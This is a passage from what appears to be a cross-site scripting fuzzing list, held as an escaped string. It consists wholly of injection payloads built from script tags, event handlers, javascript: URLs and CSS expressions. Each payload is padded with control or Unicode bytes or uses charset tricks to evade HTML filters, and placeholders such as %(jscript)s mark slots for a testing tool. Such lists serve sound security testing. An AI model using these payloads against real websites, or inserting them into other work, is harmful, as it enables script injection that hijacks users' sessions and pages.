src=\\\"data:\\\\xCB\\\\x8F,javascript:alert(1)\\\"></script>\\r\\n<script\\\\x20type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x3Etype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Dtype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x09type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Ctype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x2Ftype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Atype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\nABC<div style=\\\"x\\\\x3Aexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:expression\\\\x5C(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:expression\\\\x00(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:exp\\\\x00ression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:exp\\\\x5Cression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Aexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x09expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE3\\\\x80\\\\x80expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x84expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xC2\\\\xA0expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x80expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x8Aexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Dexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Cexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x87expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xEF\\\\xBB\\\\xBFexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x20expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x88expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x00expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x8Bexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x86expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x85expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x82expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Bexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x81expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x83expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x89expression(javascript:alert(1)\\\">DEF\\r\\n<a href=\\\"\\\\x0Bjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Fjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xC2\\\\xA0javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x05javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE1\\\\xA0\\\\x8Ejavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x18javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x11javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x88javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x89javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x80javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x17javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x03javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Ejavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Ajavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x00javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x10javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x82javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x20javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x13javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x09javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x8Ajavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x14javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x19javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\xAFjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Fjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x81javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Djavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x87javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x07javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE1\\\\x9A\\\\x80javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x83javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x04javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x01javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x08javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x84javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x86javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE3\\\\x80\\\\x80javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x12javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Djavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Ajavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Cjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x15javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\xA8javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x16javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x02javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Bjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x06javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\xA9javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x85javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Ejavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x81\\\\x9Fjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Cjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x00:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x3A:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x09:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x0D:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x0A:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Aonerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x22onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Bonerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Donerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x2Fonerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x09onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Conerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x00onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x27onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x20onerror=javascript:alert(1)>\\r\\n\\\"`\\\'><script>\\\\x3Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Djavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xEF\\\\xBB\\\\xBFjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x81javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x84javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE3\\\\x80\\\\x80javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x09javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x89javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x85javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x88javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x00javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\xA8javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x8Ajavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE1\\\\x9A\\\\x80javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Cjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x2Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xF0\\\\x90\\\\x96\\\\x9Ajavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>-javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Ajavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\xAFjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x7Ejavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x87javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x81\\\\x9Fjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\xA9javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xC2\\\\x85javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xEF\\\\xBF\\\\xAEjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x83javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x8Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xEF\\\\xBF\\\\xBEjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x80javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x21javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x82javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x86javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE1\\\\xA0\\\\x8Ejavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x20javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xC2\\\\xA0javascript:alert(1)</script>\\r\\n\\\"/><img/onerror=\\\\x0Bjavascript:alert(1)\\\\x0Bsrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x22javascript:alert(1)\\\\x22src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x09javascript:alert(1)\\\\x09src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x27javascript:alert(1)\\\\x27src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x0Ajavascript:alert(1)\\\\x0Asrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x0Cjavascript:alert(1)\\\\x0Csrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x0Djavascript:alert(1)\\\\x0Dsrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x60javascript:alert(1)\\\\x60src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x20javascript:alert(1)\\\\x20src=xxx:x />\\r\\n<script\\\\x2F>javascript:alert(1)</script>\\r\\n<script\\\\x20>javascript:alert(1)</script>\\r\\n<script\\\\x0D>javascript:alert(1)</script>\\r\\n<script\\\\x0A>javascript:alert(1)</script>\\r\\n<script\\\\x0C>javascript:alert(1)</script>\\r\\n<script\\\\x00>javascript:alert(1)</script>\\r\\n<script\\\\x09>javascript:alert(1)</script>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0B=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x00=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0C=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0D=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x20=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0A=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x09=javascript:alert(1)>\\r\\n<script>javascript:alert(1)<\\\\x00/script>\\r\\n<img src=# onerror\\\\x3D\\\"javascript:alert(1)\\\" >\\r\\n<input onfocus=javascript:alert(1) autofocus>\\r\\n<input onblur=javascript:alert(1) autofocus><input autofocus>\\r\\n<video poster=javascript:javascript:alert(1)//\\r\\n<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X\\r\\n<video><source onerror=\\\"javascript:javascript:alert(1)\\\">\\r\\n<video onerror=\\\"javascript:javascript:alert(1)\\\"><source>\\r\\n<form><button formaction=\\\"javascript:javascript:alert(1)\\\">X\\r\\n<body oninput=javascript:alert(1)><input autofocus>\\r\\n<math href=\\\"javascript:javascript:alert(1)\\\">CLICKME</math> <math> <maction actiontype=\\\"statusline#http://google.com\\\" xlink:href=\\\"javascript:javascript:alert(1)\\\">CLICKME</maction> </math>\\r\\n<frameset onload=javascript:alert(1)>\\r\\n<table background=\\\"javascript:javascript:alert(1)\\\">\\r\\n<!--<img src=\\\"--><img src=x onerror=javascript:alert(1)//\\\">\\r\\n<comment><img src=\\\"</comment><img src=x onerror=javascript:alert(1))//\\\">\\r\\n<![><img src=\\\"]><img src=x onerror=javascript:alert(1)//\\\">\\r\\n<style><img src=\\\"</style><img src=x onerror=javascript:alert(1)//\\\">\\r\\n<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>\\r\\n<head><base href=\\\"javascript://\\\"></head><body><a href=\\\"/. /,javascript:alert(1)//#\\\">XXX</a></body>\\r\\n<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>\\r\\n<OBJECT CLASSID=\\\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\\\"><PARAM NAME=\\\"DataURL\\\" VALUE=\\\"javascript:alert(1)\\\"></OBJECT>\\r\\n<object data=\\\"data:text/html;base64,%(base64)s\\\">\\r\\n<embed src=\\\"data:text/html;base64,%(base64)s\\\">\\r\\n<b <script>alert(1)</script>0\\r\\n<div id=\\\"div1\\\"><input value=\\\"``onmouseover=javascript:alert(1)\\\"></div> <div id=\\\"div2\\\"></div><script>document.getElementById(\\\"div2\\\").innerHTML = document.getElementById(\\\"div1\\\").innerHTML;</script>\\r\\n<x \\\'=\\\"foo\\\"><x foo=\\\'><img src=x onerror=javascript:alert(1)//\\\'>\\r\\n<embed src=\\\"javascript:alert(1)\\\">\\r\\n<img src=\\\"javascript:alert(1)\\\">\\r\\n<image src=\\\"javascript:alert(1)\\\">\\r\\n<script src=\\\"javascript:alert(1)\\\">\\r\\n<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x\\r\\n<? foo=\\\"><script>javascript:alert(1)</script>\\\">\\r\\n<! foo=\\\"><script>javascript:alert(1)</script>\\\">\\r\\n</ foo=\\\"><script>javascript:alert(1)</script>\\\">\\r\\n<? foo=\\\"><x foo=\\\'?><script>javascript:alert(1)</script>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo><script>javascript:alert(1)</script>\\\">\\r\\n<% foo><x foo=\\\"%><script>javascript:alert(1)</script>\\\">\\r\\n<div id=d><x xmlns=\\\"><iframe onload=javascript:alert(1)\\\"></div> <script>d.innerHTML=d.innerHTML</script>\\r\\n<img \\\\x00src=x onerror=\\\"alert(1)\\\">\\r\\n<img \\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x11src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x12src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x10src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x13src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x32src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x11src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x34src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x39src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x00src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x09=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x10=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x13=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x32=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x12=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x11=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x00=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x47=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x09onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x10onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x11onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x12onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x13onerror=\\\"javascript:alert(1)\\\">\\r\\n<img[a][b][c]src[d]=x[e]onerror=[f]\\\"alert(1)\\\">\\r\\n<img src=x onerror=\\\\x09\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x10\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x11\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x12\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x32\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x00\\\"javascript:alert(1)\\\">\\r\\n<a href=javascript:javascript:alert(1)>XXX</a>\\r\\n<img src=\\\"x` `<script>javascript:alert(1)</script>\\\"` `>\\r\\n<img src onerror /\\\" \\\'\\\"= alt=javascript:alert(1)//\\\">\\r\\n<title onpropertychange=javascript:alert(1)></title><title title=>\\r\\n<a href=http://foo.bar/#x=`y></a><img alt=\\\"`><img src=x:x onerror=javascript:alert(1)></a>\\\">\\r\\n<!--[if]><script>javascript:alert(1)</script -->\\r\\n<!--[if<img src=x onerror=javascript:alert(1)//]> -->\\r\\n<script src=\\\"/\\\\%(jscript)s\\\"></script>\\r\\n<script src=\\\"\\\\\\\\%(jscript)s\\\"></script>\\r\\n<object id=\\\"x\\\" classid=\\\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\\\"></object> <object classid=\\\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\\\" onqt_error=\\\"javascript:alert(1)\\\" style=\\\"behavior:url(#x);\\\"><param name=postdomevents /></object>\\r\\n<a style=\\\"-o-link:\\\'javascript:javascript:alert(1)\\\';-o-link-source:current\\\">X\\r\\n<style>p[foo=bar{}*{-o-link:\\\'javascript:javascript:alert(1)\\\'}{}*{-o-link-source:current}]{color:red};</style>\\r\\n<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d\\r\\n<style>@import \\\"data:,*%7bx:expression(javascript:alert(1))%7D\\\";</style>\\r\\n<a style=\\\"pointer-events:none;position:absolute;\\\"><a style=\\\"position:absolute;\\\" onclick=\\\"javascript:alert(1);\\\">XXX</a></a><a href=\\\"javascript:javascript:alert(1)\\\">XXX</a>\\r\\n<style>*[{}@import\\\'%(css)s?]</style>X\\r\\n<div style=\\\"font-family:\\\'foo ;color:red;\\\';\\\">XXX\\r\\n<div style=\\\"font-family:foo}color=red;\\\">XXX\\r\\n<// style=x:expression\\\\28javascript:alert(1)\\\\29>\\r\\n<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>\\r\\n<div style=content:url(%(svg)s)></div>\\r\\n<div style=\\\"list-style:url(http://foo.f)\\\\20url(javascript:javascript:alert(1));\\\">X\\r\\n<div id=d><div style=\\\"font-family:\\\'sans\\\\27\\\\3B color\\\\3Ared\\\\3B\\\'\\\">X</div></div> <script>with(document.getElementById(\\\"d\\\"))innerHTML=innerHTML</script>\\r\\n<div style=\\\"background:url(/f#oo/;color:red/*/foo.jpg);\\\">X\\r\\n<div style=\\\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\\\">X\\r\\n<div id=\\\"x\\\">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>\\r\\n<x style=\\\"background:url(\\\'x;color:red;/*\\\')\\\">XXX</x>\\r\\n<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\\r\\n<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\\r\\n<script>ReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){javascript:alert(1)}),x</script>\\r\\n<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'javascript:alert(1)\\\')()</script>\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\\r\\n<meta charset=\\\"mac-farsi\\\">¼script¾javascript:alert(1)¼/script¾\\r\\nX<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >\\r\\n1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>\\r\\n1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>>\\r\\n<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>\\r\\n1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>\\r\\n<a style=\\\"behavior:url(#default#AnchorClick);\\\" folder=\\\"javascript:javascript:alert(1)\\\">XXX</a>\\r\\n<x style=\\\"behavior:url(%(sct)s)\\\">\\r\\n<xml id=\\\"xss\\\" src=\\\"%(htc)s\\\"></xml> <label dataformatas=\\\"html\\\" datasrc=\\\"#xss\\\" datafld=\\\"payload\\\"></label>\\r\\n<event-source src=\\\"%(event)s\\\" onload=\\\"javascript:alert(1)\\\">\\r\\n<a href=\\\"javascript:javascript:alert(1)\\\"><event-source src=\\\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\\\">\\r\\n<div id=\\\"x\\\">x</div> <xml:namespace prefix=\\\"t\\\"> <import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"> <t:set attributeName=\\\"innerHTML\\\" targetElement=\\\"x\\\" to=\\\"<imgsrc=x:xonerror=javascript:alert(1)>\\\">\\r\\n<script>%(payload)s</script>\\r\\n<script src=%(jscript)s></script>\\r\\n<script language=\\\'javascript\\\' src=\\\'%(jscript)s\\\'></script>\\r\\n<script>javascript:alert(1)</script>\\r\\n<IMG SRC=\\\"javascript:javascript:alert(1);\\\">\\r\\n<IMG SRC=javascript:javascript:alert(1)>\\r\\n<IMG SRC=`javascript:javascript:alert(1)`>\\r\\n<SCRIPT SRC=%(jscript)s?<B>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:javascript:alert(1);\\\"></FRAMESET>\\r\\n<BODY ONLOAD=javascript:alert(1)>\\r\\n<BODY ONLOAD=javascript:javascript:alert(1)>\\r\\n<IMG SRC=\\\"jav ascript:javascript:alert(1);\\\">\\r\\n<BODY onload!#$%%&()*~+-_.,:;?@[/|\\\\]^`=javascript:alert(1)>\\r\\n<SCRIPT/SRC=\\\"%(jscript)s\\\"></SCRIPT>\\r\\n<<SCRIPT>%(payload)s//<</SCRIPT>\\r\\n<IMG SRC=\\\"javascript:javascript:alert(1)\\\"\\r\\n<iframe src=%(scriptlet)s <\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:javascript:alert(1);\\\">\\r\\n<IMG DYNSRC=\\\"javascript:javascript:alert(1)\\\">\\r\\n<IMG LOWSRC=\\\"javascript:javascript:alert(1)\\\">\\r\\n<BGSOUND SRC=\\\"javascript:javascript:alert(1);\\\">\\r\\n<BR SIZE=\\\"&{javascript:alert(1)}\\\">\\r\\n<LAYER 